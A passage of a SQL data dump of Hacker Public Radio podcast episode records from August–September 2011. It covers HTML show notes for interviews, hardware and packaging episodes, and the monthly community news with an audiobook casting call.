(794,'2011-08-17','Full Circle Podcast: U-Cubed De-brief',1937,'A report from the U-Cubed unconference at Mad-Lab, Manchester, UK','<p><strong>01:51 | De-Brief of the U-CUBED Event...</strong></p>\r\n\r\n<p>Les Pounder takes us through the day of Sat. April 2nd at Mad-Lab, Manchester, UK. U-Cubed is a free \'unconference\' for devotees of free and Open Source software. Co-inciding with the release of Ubuntu 11.04 Beta 1, the event drew Linux enthusiasts from across the North-West of England for testing, demo\'s, talks, Linux installs and workshops.</p>\r\n\r\n<p>We also go over some of the technology news.</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n<ul>\r\n        <li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n\r\n<li><strong>Les Pounder</strong> (blog at <a href=\"https://lespounder.wordpress.com/\" target=\"_blank\">https://lespounder.wordpress.com/</a>)</li>\r\n</ul>\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community. Find us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 32mins 17seconds</p>',160,0,1,'CC-BY-SA','Full Circle Podcast',0,2155,1),
(795,'2011-08-18','John Uren on FLOSS in the UK Civil Service',348,'An interview with John Uren at OggCamp 2011','<p>\r\nIn this episode Ken talks to John Uren who works in the UK Civil Service. They discuss the issues around Crown Copyright and how it relates to open source. John maintains an etherpad server and has been involved in organizing a open source week to highlight the benefits of open source and free software to Government departments.<br />\r\n<a href=\"https://secure.wikimedia.org/wikipedia/en/wiki/EtherPad\">https://secure.wikimedia.org/wikipedia/en/wiki/EtherPad</a>\r\n</p>\r\n<p><strong>Duration:</strong> 00:05:49</p>',30,62,1,'CC-BY-SA','\"Civil Service\",\"open-source software\",EtherPad',0,2205,1),
(796,'2011-08-21','Shane Marks Hacker Space Week Ireland',1215,'An interview with Shane Marks from the Nexus maker space in Cork, Ireland','<p>\r\n<strong>The HPR feed will be changing this week please email admin at hpr if you have issues</strong><br />\r\n<em>Apologies for the clipping on Ken\'s side</em><br />\r\n\r\nIn today\'s interview Ken talks to Shane Marks from the Nexus maker space in Cork, Ireland.<br />\r\nThe Irish Hackerspace Week runs from Saturday 20th until Sunday 28th of August 2011. <br />\r\n\r\n<UL>\r\n<LI><A HREF=\"https://www.tog.ie/\">https://www.tog.ie/</A>\r\n<LI><A HREF=\"https://hackerspacecork.com/wp/\">https://hackerspacecork.com/wp/</A>\r\n<LI><A HREF=\"https://091labs.com/\">https://091labs.com/</A>\r\n<LI><A HREF=\"https://www.milklabs.ie/files/\">https://www.milklabs.ie/files/</A>\r\n<LI><A HREF=\"https://identi.ca/smarks\">https://identi.ca/smarks</A>\r\n</UL>\r\n</p>\r\n',30,0,1,'CC-BY-SA','hackerspace,Ireland',0,2143,1),
(797,'2011-08-22','How I got into linux',287,'Mike Hingley\'s first HPR episode where he describes how he got into Linux','<p>\r\nIn today\'s show we are introduced to a new host Mike Hingley as he explains how he got into linux.\r\n</p>\r\n',185,29,1,'CC-BY-SA','Ubuntu',0,2195,1),
(798,'2011-08-23','The IBM Model M Keyboard',728,'A in-depth look at the IBM Model M keyboard, and why it\'s so delicious','<p>\r\nIn this exciting adventure Germ talks about the wonders of the best keyboard ever produced.\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li>Unicomp       : <a href=\"https://pckeyboards.stores.yahoo.net/\">https://pckeyboards.stores.yahoo.net/</a></li>\r\n<li>Linux Variant : <a href=\"https://pckeyboards.stores.yahoo.net/linux101.html\">https://pckeyboards.stores.yahoo.net/linux101.html</a></li>\r\n</ul>\r\n<p>Other Keyboards Worth Mentioning:</p>\r\n<ul>\r\n<li>Das Keyboard  : <a href=\"https://www.daskeyboard.com/\">https://www.daskeyboard.com/</a></li>\r\n<li>Cherry        : <a href=\"https://www.cherrycorp.com/english/keyboards/index.htm\">https://www.cherrycorp.com/english/keyboards/index.htm</a></li>\r\n<li>Happy Hacking : <a href=\"https://elitekeyboards.com/products.php?sub=pfu_keyboards,hhkbpro2&pid=pdkb400b\">https://elitekeyboards.com/products.php?sub=pfu_keyboards,hhkbpro2&pid=pdkb400b</a><br/>\r\n    <a href=\"https://en.wikipedia.org/wiki/Happy_Hacking_Keyboard\">https://en.wikipedia.org/wiki/Happy_Hacking_Keyboard</a></li>\r\n</ul>\r\n',186,0,1,'CC-BY-SA','hardware,vintage hardware,keyboard,mechanical keyboard',0,3029,1),
(799,'2011-08-24','Part Four Assembly, Editing the Podcast',476,'Details of how the Full Circle Podcast is prepared, part four','<p>Hello world and welcome to our show on Hacker Public Radio. Part four in our series on producing the podcast. We\'ve prep\'d, recorded and edited all the segments, it\'s time to bolt it all together to try to produce something greater than the sum of its parts.</p>\r\n<p><strong>Runtime:</strong> 7mins 56seconds</p>\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n<p>Additional audio by Victoria Pritchard</p>\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at <a href=\"https://fullcirclemagazine.org/podcast\">https://fullcirclemagazine.org/podcast</a>, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n',160,0,1,'CC-BY-SA','Full Circle Podcast',0,2016,1),
(800,'2011-08-25','WebOS',450,'The danger of a open source monoculture in the mobile OS space','<p>In todays dial in show Sunzofman1 talks about the danger of a open source monoculture in the mobile OS space.</p>\n<p><a href=\"https://web.archive.org/web/20170609085430/https://bkaeg.org/\">https://bkaeg.org</a><br/>\nagreen@bkaeg.org</p>\n<h4>Editor\'s Note:</h4>\n<p><small>The URL https://bkaeg.org refers to a website that no longer exists. The\nsite was archived on the <em>Wayback Machine</em> in 2017, and a link has\nbeen made to this archived copy.</small></p>\n',187,0,1,'CC-BY-SA','webOS,Android,IOS,\"Windows Phone 7\",\"Nokia N900\"',0,2283,1),
(801,'2011-08-28','Slackbuilds',3011,'Part 1 of the series on packaging applications','<p>Klaatu begins a three-part series on packaging applications for GNU Linux and BSD.  In this first episode, he covers Slackbuilds using SigFLUP\'s yesplz as an example.</p>\r\n\r\n<p class=\"links\"><a href=\"https://www.slackbuilds.org\">SlackBuilds.org</a></p>\r\n<p class=\"links\"><a href=\"https://hobones.dogsoft.net/yesplz_aug_4_2010.tgz\">yesplz_aug_4_2010.tgz</a> source</p>\r\n<p class=\"links\"><a href=\"https://slackbuilds.org/slackbuilds/13.37/graphics/yesplz.tar.gz\">yesplz slackbuild</a></p>\r\n\r\n<p>Get this episode in <a href=\"https://thebadapples.info/audiophile/hpr_pkg_slackbuilding.ogg\" target=\"_blank\">ogg vorbis</a> courtesy the GNU World Order.</p>',78,63,0,'CC-BY-SA','package,packaging,yesplz,Slackware,SlackBuild',0,2182,1),
(802,'2011-08-29','Ana Nelson on Dexy software documentation',448,'An interview at OggCamp 11 with Ana Nelson about Dexy, a software documentation tool','<p>\r\nToday Ken interviews Ana Nelson on Dexy a software package to make documentation easy fun and maintainable. @dexyit !hpr\r\n</p>\r\n<h2>What is Dexy?</h2>\r\n<p>Dexy is a tool for writing documents which relate to code. This might mean software documentation, journal articles relating to computational research, a code tutorial on your blog, writing up computer science class assignments, pretty much anything. You can think of Dexy as a very fancy \'make\' tool with lots of document-related features and powerful <a href=\"https://www.dexy.it/docs/filters\">filters</a>. Dexy is open source, licensed under the <a href=\"https://www.opensource.org/licenses/mit-license\">MIT license</a>.</p>\r\n<p>\r\nFollow on twitter <a href=\"https://twitter.com/#!/dexyit\">https://twitter.com/#!/dexyit</a>\r\n</p>\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/GQgTuJ5j2f04-i3qkWv-lw?feat=embedwebsite\"><img src=\"https://lh4.googleusercontent.com/-9sbVjRMKGZg/Tk40VIDBe7I/AAAAAAAAAnk/_iIHU98k718/s144/20110813_140137.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n<UL>\r\n<LI><A HREF=\"https://ananelson.com/blog/2010/09/introducing-dexy/\">https://ananelson.com/blog/2010/09/introducing-dexy/</A>\r\n<LI><A HREF=\"https://blog.dexy.it/13\">https://blog.dexy.it/13</A>\r\n<LI><A HREF=\"https://blog.dexy.it/\">https://blog.dexy.it/</A>\r\n<li><a href=\"https://picasaweb.google.com/lh/photo/GQgTuJ5j2f04-i3qkWv-lw?feat=directlink\">https://picasaweb.google.com/lh/photo/GQgTuJ5j2f04-i3qkWv-lw?feat=directlink</a>\r\n</UL>\r\n',30,62,1,'CC-BY-SA','Dexy,\"language-specific documentation\"',0,1924,1),
(803,'2011-08-30','A novacut support call',2862,'The NovaCut video editor was a Kickstarter project in 2011','<p>\r\nThis is a the \"hour call\" to Jason DeRose after making a $100 pledge to novacut. https://novacut.com/ @novacut @hpr !hpr\r\n</p>\r\n<p>\r\nBack in episode <a href=\"https://hackerpublicradio.org/eps.php?id=0780\">0780</a>, klaatu interviewed Jason DeRose about NovaCut. At the time they were running a kickstarter campaign to raise money to fund the project.<br />\r\nsaras fox was one of the contributors and that earned him a hour long conversation which we bring to you today.\r\n</p>\r\n\r\n<p>\r\nFind <strong>NovaCut</strong> on:\r\n<ul>\r\n<li><strong>website: </strong><a href=\"https://novacut.com/\">https://novacut.com/</a></li>\r\n<li><strong>Vimeo: </strong><a href=\"https://vimeo.com/groups/novacutartistdiaries\">https://vimeo.com/groups/novacutartistdiaries</a></li>\r\n<li><strong>Wiki: </strong><a href=\"https://wiki.ubuntu.com/Novacut\">https://wiki.ubuntu.com/Novacut</a></li>\r\n<li><strong>Twitter: </strong><a href=\"https://twitter.com/#%21/novacut/\">https://twitter.com/#%21/novacut/</a></li> \r\n<li><strong>Facebook: </strong><a href=\"https://www.facebook.com/pages/Novacut/116598565052941\">https://www.facebook.com/pages/Novacut/116598565052941</a></li>, \r\n<li><strong>IRC: </strong><a href=\"https://webchat.freenode.net/?channels=novacut\">https://webchat.freenode.net/?channels=novacut</a></li>\r\n<li><strong>blog: </strong><a href=\"https://blog.novacut.com/\">https://blog.novacut.com/</a></li>\r\n</ul>\r\nYou can contact saras fox on Google+ <a href=\"https://plus.google.com/106479011389609622954/posts\">https://plus.google.com/106479011389609622954/posts</a>\r\n</p>',188,0,1,'CC-BY-SA','NovaCut,video,editor,Kickstarter',0,2018,1),
(804,'2011-08-31','Wayne Myers from Fit and the Conniptions at OggCamp',3821,'Ken Fallon interviews Wayne Myers at OggCamp 11','<P>\r\n@conniptions !hpr. In todays show Ken interviews Wayne Myers from the band Fit and the Conniptions recorded at <A HREF=\"https://www.oggcamp.org\">https://www.oggcamp.org</A>. <br />\r\nFollowing the interview we play the presentation and edit in the full length song \"Solemn Ground\"<br />\r\n</p>\r\n\r\n<HR NOSHADE SIZE=1>\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/5_2fK8LPURtVOrhs5l93Mw?feat=embedwebsite\"><img src=\"https://lh3.googleusercontent.com/-LcfvCLKOLJY/Tk40W8ptkoI/AAAAAAAAAn4/BmAec4NPYCg/s144/20110813_152816.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n\r\n<h2>About</h2>\r\n<p>I\'m Wayne Myers, a singer-songwriter from London. I\'ve been recording and performing bluesy folk-rock under the name Fit and the Conniptions since December 2005.</p>\r\n\r\n<p><a href=\"https://music.conniptions.org/\">Sweet Sister Starlight</a>, my second studio album, was released online on 21st March 2011, and is now also <a href=\"https://music.conniptions.org/\">available on CD</a> while stocks last. The first album, <a href=\"https://music.conniptions.org/album/bless-your-heart\">Bless Your Heart</a>, was released in July 2007, followed in November 2008 by an acoustic live EP <a href=\"https://music.conniptions.org/album/live-at-monkey-chews\">Live At Monkey Chews</a>.\r\n\r\n\r\n</p><p>All releases are available to download from <a href=\"https://music.conniptions.org/\">Bandcamp</a> - you can pay as much or as little as you want / can afford, including zero. If you like CDs, there are still some copies of the first two releases left at <a href=\"https://www.cdbaby.com/Artist/FitandtheConniptions\">CDBaby</a> also.</p>\r\n\r\n<P>\r\n<a href=\"https://blip.tv/episode/5491751\"><img src=\"https://a.images.blip.tv/Oggcamp-ProAudioOnLinux127-791.jpg\" alt=\"Pro Audio On Linux\" width=\"300\"></a>\r\n</P>\r\n\r\n<UL>\r\n<LI><A HREF=\"https://blip.tv/episode/5491751\">https://blip.tv/episode/5491751</A>\r\n<LI><A HREF=\"https://blip.tv/file/get/Oggcamp-ProAudioOnLinux127.mov\">https://blip.tv/file/get/Oggcamp-ProAudioOnLinux127.mov</A>\r\n<LI><A HREF=\"https://blip.tv/file/get/Oggcamp-ProAudioOnLinux259.m4v\">https://blip.tv/file/get/Oggcamp-ProAudioOnLinux259.m4v</A>\r\n<LI><A HREF=\"https://a.images.blip.tv/Oggcamp-ProAudioOnLinux127-791.jpg\">https://a.images.blip.tv/Oggcamp-ProAudioOnLinux127-791.jpg</A>\r\n<LI><A HREF=\"https://www.slabexchange.org\">https://www.slabexchange.org</A>\r\n<LI><A HREF=\"https://www.jazzplusplus.sourceforge.net\">https://www.jazzplusplus.sourceforge.net</A>\r\n<LI><A HREF=\"https://ardour.org\">https://ardour.org</A>\r\n<LI><A HREF=\"https://jackaudio.org\">https://jackaudio.org</A>\r\n<LI><A HREF=\"https://music.conniptions.org/\">https://music.conniptions.org/</A>\r\n<LI><A HREF=\"https://music.conniptions.org/track/solemn-ground\">https://music.conniptions.org/track/solemn-ground</A>\r\n<LI><A HREF=\"https://www.linuxdsp.co.uk\">https://www.linuxdsp.co.uk</A>\r\n<LI><A HREF=\"https://linuxaudio.org\">https://linuxaudio.org</A>\r\n<LI><A HREF=\"https://twitter.com/conniptions\">https://twitter.com/conniptions</A>\r\n<LI><A HREF=\"https://www.facebook.com/fitandtheconniptions\">https://www.facebook.com/fitandtheconniptions</A>\r\n</UL>\r\n<HR NOSHADE SIZE=1>\r\n\r\n<p>\r\nThis is an augmented podcast, for the blind, visually impaired, or for those of us away from a screen.<br />\r\nIf you would like to help out creating the text of the OggCamp presentations for me to read out, then please email admin at hacker public radio dot org.<br />\r\n</P>\r\n',30,54,1,'CC-BY-SA','oggcamp,oggcamp11',0,1895,1),
(805,'2011-09-01','How Monster Cable got its name',2635,'Mr Gadgets phones in to talk about the Monster Cable company','In todays episode he explains how Monster Cable got it\'s name and why you needed them then but do you still need to use them now ? With notes on innovating MrGadgets will be at the OhioLinuxFest',155,0,1,'CC-BY-SA','HiFi,audiophile,decibel,\"skin effect\"',0,2044,1),
(806,'2011-09-04','HPR Community News for Aug 2011',2353,'HPR Community News for Aug 2011','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=183\">JVoeltz</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=184\">diablomarcus</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=185\">Mike Hingley</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=186\">Germ</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=187\">Sunzofman1</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=188\">saras fox</a>\r\n</p>\r\n<h2>Show Review</h2>\r\n\r\n<table id=\"table_results\" class=\"data ajax\"> \r\n<thead><tr> \r\n<th class=\"condition\">id\r\n</th><th>host\r\n</th><th>title\r\n</th></tr> \r\n</thead> \r\n        <tbody> \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">782</td> \r\n<td  class=\"data inline_edit not_null odd  \">MrGadgets</td> \r\n<td  class=\"data inline_edit not_null odd  \">Technological ethics of Open Source Software</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">783</td> \r\n<td  class=\"data inline_edit not_null even  \">Dismal Science</td> \r\n<td  class=\"data inline_edit not_null even  \">Libertarianism + IT, a match made in heaven?</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">784</td> \r\n<td  class=\"data inline_edit not_null odd  \">Robin Catling</td> \r\n<td  class=\"data inline_edit not_null odd  \">Full Circle Podcast Part Three The Edit</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">785</td> \r\n<td  class=\"data inline_edit not_null even  \">Quvmoh</td> \r\n<td  class=\"data inline_edit not_null even  \">binaural recording</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">786</td> \r\n<td  class=\"data inline_edit not_null odd  \">droops</td> \r\n<td  class=\"data inline_edit not_null odd  \">Streaming sporting events</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">787</td> \r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null even  \">Grep for tab</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">788</td> \r\n<td  class=\"data inline_edit not_null odd  \">JWP</td> \r\n<td  class=\"data inline_edit not_null odd  \">Bitcoin</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">789</td> \r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td> \r\n<td  class=\"data inline_edit not_null even  \">GeekNights Git: the fast version control system</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">790</td> \r\n<td  class=\"data inline_edit not_null odd  \">diablomarcus</td> \r\n<td  class=\"data inline_edit not_null odd  \">guake a drop-down terminal emulator</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">791</td> \r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null even  \">Interview with Moose about Ohio LinuxFest</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">792</td> \r\n<td  class=\"data inline_edit not_null odd  \">MrGadgets</td> \r\n<td  class=\"data inline_edit not_null odd  \">Biaural Recording</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">793</td> \r\n<td  class=\"data inline_edit not_null even  \">klaatu</td> \r\n<td  class=\"data inline_edit not_null even  \">Server/Client relationship, DHCP server</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">794</td> \r\n<td  class=\"data inline_edit not_null odd  \">Robin Catling</td> \r\n<td  class=\"data inline_edit not_null odd  \">Full Circle Podcast U-Cubed De-brief</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">795</td> \r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null even  \">John Uren on FLOSS in the UK Civil Service</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">796</td> \r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null odd  \">Shane Marks Hacker Space Week Ireland</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">797</td> \r\n<td  class=\"data inline_edit not_null even  \">Mike Hingley</td> \r\n<td  class=\"data inline_edit not_null even  \">How I got into linux</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">798</td> \r\n<td  class=\"data inline_edit not_null odd  \">Germ</td> \r\n<td  class=\"data inline_edit not_null odd  \">The IBM Model M Keyboard</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">799</td> \r\n<td  class=\"data inline_edit not_null even  \">Robin Catling</td> \r\n<td  class=\"data inline_edit not_null even  \">Part Four Assembly, Editing the Podcast</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">800</td> \r\n<td  class=\"data inline_edit not_null odd  \">Sunzofman1</td> \r\n<td  class=\"data inline_edit not_null odd  \">WebOS</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">801</td> \r\n<td  class=\"data inline_edit not_null even  \">klaatu</td> \r\n<td  class=\"data inline_edit not_null even  \">Slackbuilds</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">802</td> \r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null odd  \">Ana Nelson on Dexy software documentation</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">803</td> \r\n<td  class=\"data inline_edit not_null even  \">saras fox</td> \r\n<td  class=\"data inline_edit not_null even  \">A novacut support call</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">804</td> \r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null odd  \">Wayne Myers from Fit and the Conniptions at OggCamp</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">805</td> \r\n<td  class=\"data inline_edit not_null even  \">MrGadgets</td> \r\n<td  class=\"data inline_edit not_null even  \">How Monster Cable got it\'s name</td> \r\n</tr> \r\n            \r\n</tbody> \r\n</table> \r\n\r\n<h2>Thanks To</h2>\r\n<UL> \r\n<li>Finux, Tony, Laura, Popey, Henderik, Yvonne, Pokey, Code Cruncher, Manon, Kevin O\'Brien, Ivan Privaci, DoorToDoorGeek, Kevin Barry for all the help getting ready for OggCamp</li>\r\n<li>Joshua Knapp for the server admin work</li>\r\n<li>Becky Newborough, Philip Newborough</li>\r\n<li>Johan Paul for checking our RSS feed</li>\r\n<li>Everyone that gave feedback on the podcatcher you use</li>\r\n<li>Everyone that gave feedback on the new feed</li>\r\n<li>Le Krayon for the tip on <a href=\"https://code.google.com/p/get-flash-videos/\">get_flash_videos</a></li>\r\n<li>Henry Patrick Reilly for allowing us to use his Google+ account</li>\r\n<li>Andy Piper for the website feedback</li>\r\n<li>All the organisers and crew of OggCamp 11</li>\r\n</UL>\r\n<h2>Apologies To</h2>\r\n<UL> \r\n<li>Billy Crook for missing his mail about <a href=\"https://s3tools.org/s3cmd\">s3cmd : command line S3 client</a></li>\r\n<li>Germ for the delay in getting the stickers out</li>\r\n<li>StankDawg/Lunar Pages for not getting the Ad in faster</li>\r\n</UL>\r\n\r\n<h2>OggCamp</h2>\r\n<p>\r\nAll the presentations and material are on the website <a href=\"https://hackerpublicradio.org/media/hpr-presentation-oggcamp/\">https://hackerpublicradio.org/media/hpr-presentation-oggcamp/</a>\r\nShows in the main and syndicated Thursday queue will follow scheduling rules <a href=\"https://hackerpublicradio.org/calendar.php#scheduling_rules\">Scheduling Rules</a>, so we still have free slots.<br />\r\n<pre>\r\nVORC001-john-unin-uk-civil-service.WAV\r\nVORC002-vivean-parkhouse.WAV\r\nVORC003-jurgan-open-wireless-network.WAV\r\nVORC004-laura.WAV\r\nVORC005-ack.WAV\r\nVORC006-les-porter.WAV\r\nVORC007-robin-catling-full-circle.WAV\r\nVORC008-popey.WAV\r\nVORC009-dj-the-h.wav\r\nVORC010-alan-cocks.WAV\r\nVORC011-wayne-myres.WAV\r\nVORC012-alister-munroe-plm-software.WAV\r\nVORC013-jwp-oracle-linux.WAV\r\nVORC014-kris-finley-software-freedom-day-dundee.WAV\r\nVORC015-steve-lee-accessability.WAV\r\nVORC016-fsfe-sam-tuck.WAV\r\nVORC017-tony-hughes-free-cycle.WAV\r\nVORC018-philip-beky-crunchbang.WAV\r\nVORC019-ade+2hours.WAV\r\nVORC020-kris-freenode.WAV\r\nVORC021-dann.WAV\r\nVORC022-nathan-open-hardware.WAV\r\nVORC023-austrian-germans.WAV\r\nVORC024-amburn-elder-politics.WAV\r\nVORC025-marie-assen-flatter.WAV\r\nVORC026-marie-assen-flatter-her-email.WAV\r\nVORC027-les-roundup.WAV\r\n</pre>\r\nAlso Shane Marks and  some time Fab.\r\n</p>\r\n\r\n<h2>New Outro</h2>\r\n<p>\r\n<P>\r\nWe have moved providers some time ago and we need to include an advertisement for our sponsor (Lunar pages) in the outro. I have edited all the episodes that are currently in the queue to have the new outro but going forward I would appreciate it if you could switch to the new outro which can be found here <A HREF=\"https://hackerpublicradio.org/media/theme-music/outro-mono.mp3\">https://hackerpublicradio.org/media/theme-music/outro-mono.mp3</A>. All the versions including the original slick0 master flac, can be found at <A HREF=\"https://hackerpublicradio.org/media/theme-music/\">https://hackerpublicradio.org/media/theme-music/</A>\r\n</P>\r\n<P>\r\nThe text for the outro is in the file <a href=\"https://hackerpublicradio.org/media/theme-music/hpr-outro-text.txt\">hpr-outro-text.txt</a> and I\'d like to get a versions from every host and listener, with the idea of editing them together to have multiple versions with each line read by different people. Please submit those in high quality WAV or FLAC with spaces between each line to allow for easy editing.\r\n</P>\r\n<P>\r\nAfter recording a HPR news segment at my brother-in-law\'s studio he was inspired to record a intro and outro for HPR and he\'d appreciate your feedback. Give the files starting in <a href=\"https://hackerpublicradio.org/media/theme-music/\">https://hackerpublicradio.org/media/theme-music/</a> rollercostermusic.com* a listen.\r\n</P>\r\n<P>\r\nIt would also help greatly if you could provide shownotes with your episode in html as otherwise I need to listen to your shows and make the shownotes for you which will result in a delay in your show getting posted. We are now also officially CC-BY-SA so if you are releasing your show in any other format you need to make note of that\r\nin your show and in the shownotes.\r\n</P>\r\n\r\n</p>\r\n<h2>Month in Review </h2>\r\n<p>\r\n<ul>\r\n<li>We have ogg and spx feed !</li>\r\n<li>We changed the mp3 feed to make it RSS 2.0 compliant - finally !</li>\r\n<li>Updated the <a href=\"https://hackerpublicradio.org/contribute.php\">Contribute page</a> </li>\r\n<li>Are you going to Derby Con</li>\r\n<li>Augmented podcast on HPR</li>\r\n<li>Check out the test site <a href=\"https://hobbypublicradio.org\">https://hobbypublicradio.org</a></li>\r\n</ul>\r\n</p>\r\n<hr>\r\n<h2>Casting Call</h2>\r\nA while back 5150 proposed that we produce an audiobook using only HPR contributors as actors. Several people responded positively, and said they would like to participate. Well, we now have a script. It was originally written as a screenplay, so it needs a little work to make the visual bits work as audio only, but I don\'t think that will take too long. It\'s almost ready to go as is. 5150 and Integgroll have stepped up to help me make editorial and casting decisions and get other producer type stuff done. <br>\r\n\r\n<br>This is a casting call of sorts. We need some voice actors, but we\'ll also need some sound effects, and perhaps some music. I may ask people to create sound effects, and upload them to the freesound project, or just to find such sounds. I\'m not sure what we\'ll need yet, but I\'d like to know who\'s interested in helping out. I was considering asking the Open Source Musician\'s Podcast to consider doing a \"tune storm\" for some music, but I\'d like to know if you guys think we should keep it all in house, or collaborate on that.<br>\r\n\r\n<br>The story is a SciFi/adventure that\'s also a lighthearted Free Software allegory, so it\'s a perfect fit for HPR. It will run between 50 and 80 minutes, I think, so it may be broken up into two or three episodes if it\'s too long for just one. I\'m really not sure.<br>\r\n\r\n<br>The plan is to record with actors using mumble but also recording locally to get the best possible sound quality. I\'ll mix it all in audacity, unless someone else wants that job, or wants to do it with ardour or whatever.<br>\r\n\r\n<br>As is, there are 4 male roles, 3 female roles, and 6 androgynous roles. Most of the male and female roles could be swapped also to match our supply of actors. If we get more people than that, We\'ll add parts to make sure that everyone who\'s interested can participate. The protagonist and major role is female. She will have a majority of the speaking parts, thus the biggest time commitment of all the actors. <br>\r\n\r\n<br>If you\'re interested, please send me a voice sample so I can sort out the cast, or let me know what you\'re willing to do so I have some idea about that too. Please use my personal email address for this so that we don\'t clutter up the regular mailing list. <a href=\"mailto:pdailey03@gmail.com\" target=\"_blank\">pdailey03@gmail.com</a><br>\r\n\r\n<br>Thank you for hearing me out on this.<br>\r\npokey\r\n\r\n<hr>\r\n<h2>The Linux News Podcast</h2>\r\n<p>\r\nHi fellow podcaster,<br>\r\n<br>\r\nI have just launched a new podcast. You know as well as I do 